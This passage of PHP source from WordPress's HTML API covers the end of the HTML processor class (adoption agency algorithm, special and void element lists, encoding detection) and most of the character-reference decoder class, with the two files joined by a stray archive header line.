		}

		/*
		 * > 16. If _last_ is true, then switch the insertion mode to "in body"
		 * >     and return. (fragment case)
		 *
		 * This is only reachable if `$last` is true, as per the fragment parsing case.
		 */
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
	}

	/**
	 * Runs the adoption agency algorithm.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#adoption-agency-algorithm
	 */
	private function run_adoption_agency_algorithm(): void {
		$budget       = 1000;
		$subject      = $this->get_tag();
		$current_node = $this->state->stack_of_open_elements->current_node();

		if (
			// > If the current node is an HTML element whose tag name is subject
			$current_node && $subject === $current_node->node_name &&
			// > the current node is not in the list of active formatting elements
			! $this->state->active_formatting_elements->contains_node( $current_node )
		) {
			$this->state->stack_of_open_elements->pop();
			return;
		}

		$outer_loop_counter = 0;
		while ( $budget-- > 0 ) {
			if ( $outer_loop_counter++ >= 8 ) {
				return;
			}

			/*
			 * > Let formatting element be the last element in the list of active formatting elements that:
			 * >   - is between the end of the list and the last marker in the list,
			 * >     if any, or the start of the list otherwise,
			 * >   - and has the tag name subject.
			 */
			$formatting_element = null;
			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				if ( 'marker' === $item->node_name ) {
					break;
				}

				if ( $subject === $item->node_name ) {
					$formatting_element = $item;
					break;
				}
			}

			// > If there is no such element, then return and instead act as described in the "any other end tag" entry above.
			if ( null === $formatting_element ) {
				$this->bail( 'Cannot run adoption agency when "any other end tag" is required.' );
			}

			// > If formatting element is not in the stack of open elements, then this is a parse error; remove the element from the list, and return.
			if ( ! $this->state->stack_of_open_elements->contains_node( $formatting_element ) ) {
				$this->state->active_formatting_elements->remove_node( $formatting_element );
				return;
			}

			// > If formatting element is in the stack of open elements, but the element is not in scope, then this is a parse error; return.
			if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $formatting_element->node_name ) ) {
				return;
			}

			/*
			 * > Let furthest block be the topmost node in the stack of open elements that is lower in the stack
			 * > than formatting element, and is an element in the special category. There might not be one.
			 */
			$is_above_formatting_element = true;
			$furthest_block              = null;
			foreach ( $this->state->stack_of_open_elements->walk_down() as $item ) {
				if ( $is_above_formatting_element && $formatting_element->bookmark_name !== $item->bookmark_name ) {
					continue;
				}

				if ( $is_above_formatting_element ) {
					$is_above_formatting_element = false;
					continue;
				}

				if ( self::is_special( $item ) ) {
					$furthest_block = $item;
					break;
				}
			}

			/*
			 * > If there is no furthest block, then the UA must first pop all the nodes from the bottom of the
			 * > stack of open elements, from the current node up to and including formatting element, then
			 * > remove formatting element from the list of active formatting elements, and finally return.
			 */
			if ( null === $furthest_block ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();

					if ( $formatting_element->bookmark_name === $item->bookmark_name ) {
						$this->state->active_formatting_elements->remove_node( $formatting_element );
						return;
					}
				}
			}

			$this->bail( 'Cannot extract common ancestor in adoption agency algorithm.' );
		}

		$this->bail( 'Cannot run adoption agency when looping required.' );
	}

	/**
	 * Runs the "close the cell" algorithm.
	 *
	 * > Where the steps above say to close the cell, they mean to run the following algorithm:
	 * >   1. Generate implied end tags.
	 * >   2. If the current node is not now a td element or a th element, then this is a parse error.
	 * >   3. Pop elements from the stack of open elements stack until a td element or a th element has been popped from the stack.
	 * >   4. Clear the list of active formatting elements up to the last marker.
	 * >   5. Switch the insertion mode to "in row".
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#close-the-cell
	 *
	 * @since 6.7.0
	 */
	private function close_cell(): void {
		$this->generate_implied_end_tags();
		// @todo Parse error if the current node is a "td" or "th" element.
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			$this->state->stack_of_open_elements->pop();
			if ( 'TD' === $element->node_name || 'TH' === $element->node_name ) {
				break;
			}
		}
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
	}

	/**
	 * Inserts an HTML element on the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token Name of bookmark pointing to element in original input HTML.
	 */
	private function insert_html_element( WP_HTML_Token $token ): void {
		$this->state->stack_of_open_elements->push( $token );
	}

	/**
	 * Inserts a foreign element on to the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token                     Insert this token. The token's namespace and
	 *                                                 insertion point will be updated correctly.
	 * @param bool          $only_add_to_element_stack Whether to skip the "insert an element at the adjusted
	 *                                                 insertion location" algorithm when adding this element.
	 */
	private function insert_foreign_element( WP_HTML_Token $token, bool $only_add_to_element_stack ): void {
		$adjusted_current_node = $this->get_adjusted_current_node();

		$token->namespace = $adjusted_current_node ? $adjusted_current_node->namespace : 'html';

		if ( $this->is_mathml_integration_point() ) {
			$token->integration_node_type = 'math';
		} elseif ( $this->is_html_integration_point() ) {
			$token->integration_node_type = 'html';
		}

		if ( false === $only_add_to_element_stack ) {
			/*
			 * @todo Implement the "appropriate place for inserting a node" and the
			 *       "insert an element at the adjusted insertion location" algorithms.
			 *
			 * These algorithms mostly impacts DOM tree construction and not the HTML API.
			 * Here, there's no DOM node onto which the element will be appended, so the
			 * parser will skip this step.
			 *
			 * @see https://html.spec.whatwg.org/#insert-an-element-at-the-adjusted-insertion-location
			 */
		}

		$this->insert_html_element( $token );
	}

	/**
	 * Inserts a virtual element on the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string      $token_name    Name of token to create and insert into the stack of open elements.
	 * @param string|null $bookmark_name Optional. Name to give bookmark for created virtual node.
	 *                                   Defaults to auto-creating a bookmark name.
	 * @return WP_HTML_Token Newly-created virtual token.
	 */
	private function insert_virtual_node( $token_name, $bookmark_name = null ): WP_HTML_Token {
		$here = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$name = $bookmark_name ?? $this->bookmark_token();

		$this->bookmarks[ $name ] = new WP_HTML_Span( $here->start, 0 );

		$token = new WP_HTML_Token( $name, $token_name, false );
		$this->insert_html_element( $token );
		return $token;
	}

	/*
	 * HTML Specification Helpers
	 */

	/**
	 * Indicates if the current token is a MathML integration point.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#mathml-text-integration-point
	 *
	 * @return bool Whether the current token is a MathML integration point.
	 */
	private function is_mathml_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'math' !== $current_token->namespace || 'M' !== $current_token->node_name[0] ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		return (
			'MI' === $tag_name ||
			'MO' === $tag_name ||
			'MN' === $tag_name ||
			'MS' === $tag_name ||
			'MTEXT' === $tag_name
		);
	}

	/**
	 * Indicates if the current token is an HTML integration point.
	 *
	 * Note that this method must be an instance method with access
	 * to the current token, since it needs to examine the attributes
	 * of the currently-matched tag, if it's in the MathML namespace.
	 * Otherwise it would be required to scan the HTML and ensure that
	 * no other accounting is overlooked.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#html-integration-point
	 *
	 * @return bool Whether the current token is an HTML integration point.
	 */
	private function is_html_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'html' === $current_token->namespace ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		if ( 'svg' === $current_token->namespace ) {
			return (
				'DESC' === $tag_name ||
				'FOREIGNOBJECT' === $tag_name ||
				'TITLE' === $tag_name
			);
		}

		if ( 'math' === $current_token->namespace ) {
			if ( 'ANNOTATION-XML' !== $tag_name ) {
				return false;
			}

			$encoding = $this->get_attribute( 'encoding' );

			return (
				is_string( $encoding ) &&
				(
					0 === strcasecmp( $encoding, 'application/xhtml+xml' ) ||
					0 === strcasecmp( $encoding, 'text/html' )
				)
			);
		}

		$this->bail( 'Should not have reached end of HTML Integration Point detection: check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Returns whether an element of a given name is in the HTML special category.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#special
	 *
	 * @param WP_HTML_Token|string $tag_name Node to check, or only its name if in the HTML namespace.
	 * @return bool Whether the element of the given name is in the special category.
	 */
	public static function is_special( $tag_name ): bool {
		if ( is_string( $tag_name ) ) {
			$tag_name = strtoupper( $tag_name );
		} else {
			$tag_name = 'html' === $tag_name->namespace
				? strtoupper( $tag_name->node_name )
				: "{$tag_name->namespace} {$tag_name->node_name}";
		}

		return (
			'ADDRESS' === $tag_name ||
			'APPLET' === $tag_name ||
			'AREA' === $tag_name ||
			'ARTICLE' === $tag_name ||
			'ASIDE' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name ||
			'BGSOUND' === $tag_name ||
			'BLOCKQUOTE' === $tag_name ||
			'BODY' === $tag_name ||
			'BR' === $tag_name ||
			'BUTTON' === $tag_name ||
			'CAPTION' === $tag_name ||
			'CENTER' === $tag_name ||
			'COL' === $tag_name ||
			'COLGROUP' === $tag_name ||
			'DD' === $tag_name ||
			'DETAILS' === $tag_name ||
			'DIR' === $tag_name ||
			'DIV' === $tag_name ||
			'DL' === $tag_name ||
			'DT' === $tag_name ||
			'EMBED' === $tag_name ||
			'FIELDSET' === $tag_name ||
			'FIGCAPTION' === $tag_name ||
			'FIGURE' === $tag_name ||
			'FOOTER' === $tag_name ||
			'FORM' === $tag_name ||
			'FRAME' === $tag_name ||
			'FRAMESET' === $tag_name ||
			'H1' === $tag_name ||
			'H2' === $tag_name ||
			'H3' === $tag_name ||
			'H4' === $tag_name ||
			'H5' === $tag_name ||
			'H6' === $tag_name ||
			'HEAD' === $tag_name ||
			'HEADER' === $tag_name ||
			'HGROUP' === $tag_name ||
			'HR' === $tag_name ||
			'HTML' === $tag_name ||
			'IFRAME' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name ||
			'LI' === $tag_name ||
			'LINK' === $tag_name ||
			'LISTING' === $tag_name ||
			'MAIN' === $tag_name ||
			'MARQUEE' === $tag_name ||
			'MENU' === $tag_name ||
			'META' === $tag_name ||
			'NAV' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'NOSCRIPT' === $tag_name ||
			'OBJECT' === $tag_name ||
			'OL' === $tag_name ||
			'P' === $tag_name ||
			'PARAM' === $tag_name ||
			'PLAINTEXT' === $tag_name ||
			'PRE' === $tag_name ||
			'SCRIPT' === $tag_name ||
			'SEARCH' === $tag_name ||
			'SECTION' === $tag_name ||
			'SELECT' === $tag_name ||
			'SOURCE' === $tag_name ||
			'STYLE' === $tag_name ||
			'SUMMARY' === $tag_name ||
			'TABLE' === $tag_name ||
			'TBODY' === $tag_name ||
			'TD' === $tag_name ||
			'TEMPLATE' === $tag_name ||
			'TEXTAREA' === $tag_name ||
			'TFOOT' === $tag_name ||
			'TH' === $tag_name ||
			'THEAD' === $tag_name ||
			'TITLE' === $tag_name ||
			'TR' === $tag_name ||
			'TRACK' === $tag_name ||
			'UL' === $tag_name ||
			'WBR' === $tag_name ||
			'XMP' === $tag_name ||

			// MathML.
			'math MI' === $tag_name ||
			'math MO' === $tag_name ||
			'math MN' === $tag_name ||
			'math MS' === $tag_name ||
			'math MTEXT' === $tag_name ||
			'math ANNOTATION-XML' === $tag_name ||

			// SVG.
			'svg DESC' === $tag_name ||
			'svg FOREIGNOBJECT' === $tag_name ||
			'svg TITLE' === $tag_name
		);
	}

	/**
	 * Returns whether a given element is an HTML Void Element
	 *
	 * > area, base, br, col, embed, hr, img, input, link, meta, source, track, wbr
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#void-elements
	 *
	 * @param string $tag_name Name of HTML tag to check.
	 * @return bool Whether the given tag is an HTML Void Element.
	 */
	public static function is_void( $tag_name ): bool {
		$tag_name = strtoupper( $tag_name );

		return (
			'AREA' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name || // Obsolete but still treated as void.
			'BGSOUND' === $tag_name || // Obsolete but still treated as void.
			'BR' === $tag_name ||
			'COL' === $tag_name ||
			'EMBED' === $tag_name ||
			'FRAME' === $tag_name ||
			'HR' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name || // Obsolete but still treated as void.
			'LINK' === $tag_name ||
			'META' === $tag_name ||
			'PARAM' === $tag_name || // Obsolete but still treated as void.
			'SOURCE' === $tag_name ||
			'TRACK' === $tag_name ||
			'WBR' === $tag_name
		);
	}

	/**
	 * Gets an encoding from a given string.
	 *
	 * This is an algorithm defined in the WHAT-WG specification.
	 *
	 * Example:
	 *
	 *     'UTF-8' === self::get_encoding( 'utf8' );
	 *     'UTF-8' === self::get_encoding( "  \tUTF-8 " );
	 *     null    === self::get_encoding( 'UTF-7' );
	 *     null    === self::get_encoding( 'utf8; charset=' );
	 *
	 * @see https://encoding.spec.whatwg.org/#concept-encoding-get
	 *
	 * @todo As this parser only supports UTF-8, only the UTF-8
	 *       encodings are detected. Add more as desired, but the
	 *       parser will bail on non-UTF-8 encodings.
	 *
	 * @since 6.7.0
	 *
	 * @param string $label A string which may specify a known encoding.
	 * @return string|null Known encoding if matched, otherwise null.
	 */
	protected static function get_encoding( string $label ): ?string {
		/*
		 * > Remove any leading and trailing ASCII whitespace from label.
		 */
		$label = trim( $label, " \t\f\r\n" );

		/*
		 * > If label is an ASCII case-insensitive match for any of the labels listed in the
		 * > table below, then return the corresponding encoding; otherwise return failure.
		 */
		switch ( strtolower( $label ) ) {
			case 'unicode-1-1-utf-8':
			case 'unicode11utf8':
			case 'unicode20utf8':
			case 'utf-8':
			case 'utf8':
			case 'x-unicode20utf8':
				return 'UTF-8';

			default:
				return null;
		}
	}

	/*
	 * Constants that would pollute the top of the class if they were found there.
	 */

	/**
	 * Indicates that the next HTML token should be parsed and processed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const PROCESS_NEXT_NODE = 'process-next-node';

	/**
	 * Indicates that the current HTML token should be reprocessed in the newly-selected insertion mode.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const REPROCESS_CURRENT_NODE = 'reprocess-current-node';

	/**
	 * Indicates that the current HTML token should be processed without advancing the parser.
	 *
	 * @since 6.5.0
	 *
	 * @var string
	 */
	const PROCESS_CURRENT_NODE = 'process-current-node';

	/**
	 * Indicates that the parser encountered unsupported markup and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_UNSUPPORTED = 'unsupported';

	/**
	 * Indicates that the parser encountered more HTML tokens than it
	 * was able to process and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_EXCEEDED_MAX_BOOKMARKS = 'exceeded-max-bookmarks';

	/**
	 * Unlock code that must be passed into the constructor to create this class.
	 *
	 * This class extends the WP_HTML_Tag_Processor, which has a public class
	 * constructor. Therefore, it's not possible to have a private constructor here.
	 *
	 * This unlock code is used to ensure that anyone calling the constructor is
	 * doing so with a full understanding that it's intended to be a private API.
	 *
	 * @access private
	 */
	const CONSTRUCTOR_UNLOCK_CODE = 'Use WP_HTML_Processor::create_fragment() instead of calling the class constructor directly.';
}
PKYO\.���4A4Aclass-wp-html-decoder.phpnu�[���<?php

/**
 * HTML API: WP_HTML_Decoder class
 *
 * Decodes spans of raw text found inside HTML content.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.6.0
 */
class WP_HTML_Decoder {
	/**
	 * Indicates if an attribute value starts with a given raw string value.
	 *
	 * Use this method to determine if an attribute value starts with a given string, regardless
	 * of how it might be encoded in HTML. For instance, `http:` could be represented as `http:`
	 * or as `http&colon;` or as `&#x68;ttp:` or as `h&#116;tp&colon;`, or in many other ways.
	 *
	 * Example:
	 *
	 *     $value = 'http&colon;//wordpress.org/';
	 *     true   === WP_HTML_Decoder::attribute_starts_with( $value, 'http:', 'ascii-case-insensitive' );
	 *     false  === WP_HTML_Decoder::attribute_starts_with( $value, 'https:', 'ascii-case-insensitive' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $haystack         String containing the raw non-decoded attribute value.
	 * @param string $search_text      Does the attribute value start with this plain string.
	 * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching.
	 *                                 Default 'case-sensitive'.
	 * @return bool Whether the attribute value starts with the given string.
	 */
	public static function attribute_starts_with( $haystack, $search_text, $case_sensitivity = 'case-sensitive' ): bool {
		$search_length = strlen( $search_text );
		$loose_case    = 'ascii-case-insensitive' === $case_sensitivity;
		$haystack_end  = strlen( $haystack );
		$search_at     = 0;
		$haystack_at   = 0;

		while ( $search_at < $search_length && $haystack_at < $haystack_end ) {
			$chars_match = $loose_case
				? strtolower( $haystack[ $haystack_at ] ) === strtolower( $search_text[ $search_at ] )
				: $haystack[ $haystack_at ] === $search_text[ $search_at ];

			$is_introducer = '&' === $haystack[ $haystack_at ];
			$next_chunk    = $is_introducer
				? self::read_character_reference( 'attribute', $haystack, $haystack_at, $token_length )
				: null;

			// If there's no character reference and the characters don't match, the match fails.
			if ( null === $next_chunk && ! $chars_match ) {
				return false;
			}

			// If there's no character reference but the character do match, then it could still match.
			if ( null === $next_chunk && $chars_match ) {
				++$haystack_at;
				++$search_at;
				continue;
			}

			// If there is a character reference, then the decoded value must exactly match what follows in the search string.
			if ( 0 !== substr_compare( $search_text, $next_chunk, $search_at, strlen( $next_chunk ), $loose_case ) ) {
				return false;
			}

			// The character reference matched, so continue checking.
			$haystack_at += $token_length;
			$search_at   += strlen( $next_chunk );
		}

		return true;
	}

	/**
	 * Returns a string containing the decoded value of a given HTML text node.
	 *
	 * Text nodes appear in HTML DATA sections, which are the text segments inside
	 * and around tags, excepting SCRIPT and STYLE elements (and some others),
	 * whose inner text is not decoded. Use this function to read the decoded
	 * value of such a text span in an HTML document.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_text_node( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded text node to decode.
	 * @return string Decoded UTF-8 value of given text node.
	 */
	public static function decode_text_node( $text ): string {
		return static::decode( 'data', $text );
	}

	/**
	 * Returns a string containing the decoded value of a given HTML attribute.
	 *
	 * Text found inside an HTML attribute has different parsing rules than for
	 * text found inside other markup, or DATA segments. Use this function to
	 * read the decoded value of an HTML string inside a quoted attribute.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_attribute( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded attribute value to decode.
	 * @return string Decoded UTF-8 value of given attribute value.
	 */
	public static function decode_attribute( $text ): string {
		return static::decode( 'attribute', $text );
	}

	/**
	 * Decodes a span of HTML text, depending on the context in which it's found.
	 *
	 * This is a low-level method; prefer calling WP_HTML_Decoder::decode_attribute() or
	 * WP_HTML_Decoder::decode_text_node() instead. It's provided for cases where this
	 * may be difficult to do from calling code.
	 *
	 * Example:
	 *
	 *     '©' = WP_HTML_Decoder::decode( 'data', '&copy;' );
	 *
	 * @since 6.6.0
	 *
	 * @access private
	 *
	 * @param string $context `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text    Text document containing span of text to decode.
	 * @return string Decoded UTF-8 string.
	 */
	public static function decode( $context, $text ): string {
		$decoded = '';
		$end     = strlen( $text );
		$at      = 0;
		$was_at  = 0;

		while ( $at < $end ) {
			$next_character_reference_at = strpos( $text, '&', $at );
			if ( false === $next_character_reference_at ) {
				break;
			}

			$character_reference = self::read_character_reference( $context, $text, $next_character_reference_at, $token_length );
			if ( isset( $character_reference ) ) {
				$at       = $next_character_reference_at;
				$decoded .= substr( $text, $was_at, $at - $was_at );
				$decoded .= $character_reference;
				$at      += $token_length;
				$was_at   = $at;
				continue;
			}

			++$at;
		}

		if ( 0 === $was_at ) {
			return $text;
		}

		if ( $was_at < $end ) {
			$decoded .= substr( $text, $was_at, $end - $was_at );
		}

		return $decoded;
	}

	/**
	 * Attempt to read a character reference at the given location in a given string,
	 * depending on the context in which it's found.
	 *
	 * If a character reference is found, this function will return the translated value
	 * that the reference maps to. It will then set `$match_byte_length` the
	 * number of bytes of input it read while consuming the character reference. This
	 * gives calling code the opportunity to advance its cursor when traversing a string
	 * and decoding.
	 *
	 * Example:
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 0 );
	 *     '…'  === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 5, $token_length );
	 *     8    === $token_length; // `&hellip;`
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin', 0 );
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 *     '¬'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin', 0, $token_length );
	 *     4    === $token_length; // `&not`
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 * @since 6.6.0
	 *
	 * @global WP_Token_Map $html5_named_character_references Mappings for HTML5 named character references.
	 *
	 * @param string $context            `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text               Text document containing span of text to decode.
	 * @param int    $at                 Optional. Byte offset into text where span begins, defaults to the beginning (0).
	 * @param int    &$match_byte_length Optional. Set to byte-length of character reference if provided and if a match
	 *                                   is found, otherwise not set. Default null.
	 * @return string|false Decoded character reference in UTF-8 if found, otherwise `false`.
	 */
	public static function read_character_reference( $context, $text, $at = 0, &$match_byte_length = null ) {
		/**
		 * Mappings for HTML5 named character references.
		 *
		 * @var WP_Token_Map $html5_named_character_references
		 */
		global $html5_named_character_references;

		$length = strlen( $text );
		if ( $at + 1 >= $length ) {
			return null;
		}

		if ( '&' !== $text[ $at ] ) {
			return null;
		}

		/*
		 * Numeric character references.
		 *
		 * When truncated, these will encode the code point found by parsing the
		 * digits that are available. For example, when `&#x1f170;` is truncated
		 * to `&#x1f1` it will encode `DZ`. It does not:
		 *  - know how to parse the original `🅰`.
		 *  - fail to parse and return plaintext `&#x1f1`.
		 *  - fail to parse and return the replacement character `�`
		 */
		if ( '#' === $text[ $at + 1 ] ) {
			if ( $at + 2 >= $length ) {
				return null;
			}

			/** Tracks inner parsing within the numeric character reference. */
			$digits_at = $at + 2;

			if ( 'x' === $text[ $digits_at ] || 'X' === $text[ $digits_at ] ) {
				$numeric_base   = 16;
				$numeric_digits = '0123456789abcdefABCDEF';
				$max_digits     = 6; // &#x10FFFF;
				++$digits_at;
			} else {
				$numeric_base   = 10;
				$numeric_digits = '0123456789';
				$max_digits     = 7; // &#1114111;
			}

			// Cannot encode invalid Unicode code points. Max is to U+10FFFF.
			$zero_count    = strspn( $text, '0', $digits_at );
			$digit_count   = strspn( $text, $numeric_digits, $digits_at + $zero_count );
			$after_digits  = $digits_at + $zero_count + $digit_count;
			$has_semicolon = $after_digits < $length && ';' === $text[ $after_digits ];
			$end_of_span   = $has_semicolon ? $after_digits + 1 : $after_digits;

			// `&#` or `&#x` without digits returns into plaintext.
			if ( 0 === $digit_count && 0 === $zero_count ) {
				return null;
			}

			// Whereas `&#` and only zeros is invalid.
			if ( 0 === $digit_count ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			// If there are too many digits then it's not worth parsing. It's invalid.
			if ( $digit_count > $max_digits ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			$digits     = substr( $text, $digits_at + $zero_count, $digit_count );
			$code_point = intval( $digits, $numeric_base );

			/*
			 * Noncharacters, 0x0D, and non-ASCII-whitespace control characters.
			 *
			 * > A noncharacter is a code point that is in the range U+FDD0 to U+FDEF,
			 * > inclusive, or U+FFFE, U+FFFF, U+1FFFE, U+1FFFF, U+2FFFE, U+2FFFF,
			 * > U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE,
			 * > U+6FFFF, U+7FFFE, U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF,
			 * > U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF, U+DFFFE,
			 * > U+DFFFF, U+EFFFE, U+EFFFF, U+FFFFE, U+FFFFF, U+10FFFE, or U+10FFFF.
			 *
			 * A C0 control is a code point that is in the range of U+00 to U+1F,
			 * but ASCII whitespace includes U+09, U+0A, U+0C, and U+0D.
			 *
			 * These characters are invalid but still decode as any valid character.
			 * This comment is here to note and explain why there's no check to
			 * remove these characters or replace them.
			 *
			 * @see https://infra.spec.whatwg.org/#noncharacter
			 */

			/*
			 * Code points in the C1 controls area need to be remapped as if they
			 * were stored in Windows-1252. Note! This transformation only happens
			 * for numeric character references. The raw code points in the byte
			 * stream are not translated.
			 *
			 * > If the number is one of the numbers in the first column of
			 * > the following table, then find the row with that number in
			 * > the first column, and set the character reference code to
			 * > the number in the second column of that row.
			 */
			if ( $code_point >= 0x80 && $code_point <= 0x9F ) {
				$windows_1252_mapping = array(
					0x20AC, // 0x80 -> EURO SIGN (€).
					0x81,   // 0x81 -> (no change).
					0x201A, // 0x82 -> SINGLE LOW-9 QUOTATION MARK (‚).
					0x0192, // 0x83 -> LATIN SMALL LETTER F WITH HOOK (ƒ).
					0x201E, // 0x84 -> DOUBLE LOW-9 QUOTATION MARK („).
					0x2026, // 0x85 -> HORIZONTAL ELLIPSIS (…).
					0x2020, // 0x86 -> DAGGER (†).
					0x2021, // 0x87 -> DOUBLE DAGGER (‡).
					0x02C6, // 0x88 -> MODIFIER LETTER CIRCUMFLEX ACCENT (ˆ).
					0x2030, // 0x89 -> PER MILLE SIGN (‰).
					0x0160, // 0x8A -> LATIN CAPITAL LETTER S WITH CARON (Š).
					0x2039, // 0x8B -> SINGLE LEFT-POINTING ANGLE QUOTATION MARK (‹).
					0x0152, // 0x8C -> LATIN CAPITAL LIGATURE OE (Œ).
					0x8D,   // 0x8D -> (no change).
					0x017D, // 0x8E -> LATIN CAPITAL LETTER Z WITH CARON (Ž).
					0x8F,   // 0x8F -> (no change).
					0x90,   // 0x90 -> (no change).
					0x2018, // 0x91 -> LEFT SINGLE QUOTATION MARK (‘).
					0x2019, // 0x92 -> RIGHT SINGLE QUOTATION MARK (’).
					0x201C, // 0x93 -> LEFT DOUBLE QUOTATION MARK (“).
					0x201D, // 0x94 -> RIGHT DOUBLE QUOTATION MARK (”).
					0x2022, // 0x95 -> BULLET (•).
					0x2013, // 0x96 -> EN DASH (–).
					0x2014, // 0x97 -> EM DASH (—).
					0x02DC, // 0x98 -> SMALL TILDE (˜).
					0x2122, // 0x99 -> TRADE MARK SIGN (™).
					0x0161, // 0x9A -> LATIN SMALL LETTER S WITH CARON (š).
					0x203A, // 0x9B -> SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (›).
					0x0153, // 0x9C -> LATIN SMALL LIGATURE OE (œ).
					0x9D,   // 0x9D -> (no change).
					0x017E, // 0x9E -> LATIN SMALL LETTER Z WITH CARON (ž).
					0x0178, // 0x9F -> LATIN CAPITAL LETTER Y WITH DIAERESIS (Ÿ).
				);

				$code_point = $windows_1252_mapping[ $code_point - 0x80 ];
			}

			$match_byte_length = $end_of_span - $at;
			return self::code_point_to_utf8_bytes( $code_point );
		}

		/** Tracks inner parsing within the named character reference. */
		$name_at = $at + 1;
		// Minimum named character reference is two characters. E.g. `GT`.
		if ( $name_at + 2 > $length ) {
			return null;
		}

		$name_length = 0;
		$replacement = $html5_named_character_references->read_token( $text, $name_at, $name_length );
		if ( false === $replacement ) {
			return null;
		}

		$after_name = $name_at + $name_length;

		// If the match ended with a semicolon then it should always be decoded.
		if ( ';' === $text[ $name_at + $name_length - 1 ] ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		/*
		 * At this point though there's a match for an entry in the named
		 * character reference table but the match doesn't end in `;`.
		 * It may be allowed if it's followed by something unambiguous.
		 */
		$ambiguous_follower = (
			$after_name < $length &&
			$name_at < $length &&
			(
				ctype_alnum( $text[ $after_name ] ) ||
				'=' === $text[ $after_name ]
			)
		);

		// It's non-ambiguous, safe to leave it in.
		if ( ! $ambiguous_follower ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		// It's ambiguous, which isn't allowed inside attributes.
		if ( 'attribute' === $context ) {
			return null;
		}

		$match_byte_length = $after_name - $at;
		return $replacement;
	}

	/**
	 * Encode a code point number into the UTF-8 encoding.
	 *
	 * This encoder implements the UTF-8 encoding algorithm for converting
	 * a code point into a byte sequence. If it receives an invalid code
	 * point it will return the Unicode Replacement Character U+FFFD `�`.
	 *
	 * Example:
	 *
	 *     '🅰' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0x1f170 );
	 *
	 *     // Half of a surrogate pair is an invalid code point.
	 *     '�' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0xd83c );
	 *
	 * @since 6.6.0
	 *
	 * @see https://www.rfc-editor.org/rfc/rfc3629 For the UTF-8 standard.
	 *
	 * @param int $code_point Which code point to convert.
	 * @return string Converted code point, or `�` if invalid.
	 */
	public static function code_point_to_utf8_bytes( $code_point ): string {
		// Pre-check to ensure a valid code point.
		if (
			$code_point <= 0 ||
			( $code_point >= 0xD800 && $code_point <= 0xDFFF ) ||
			$code_point > 0x10FFFF
		) {
			return '�';
		}

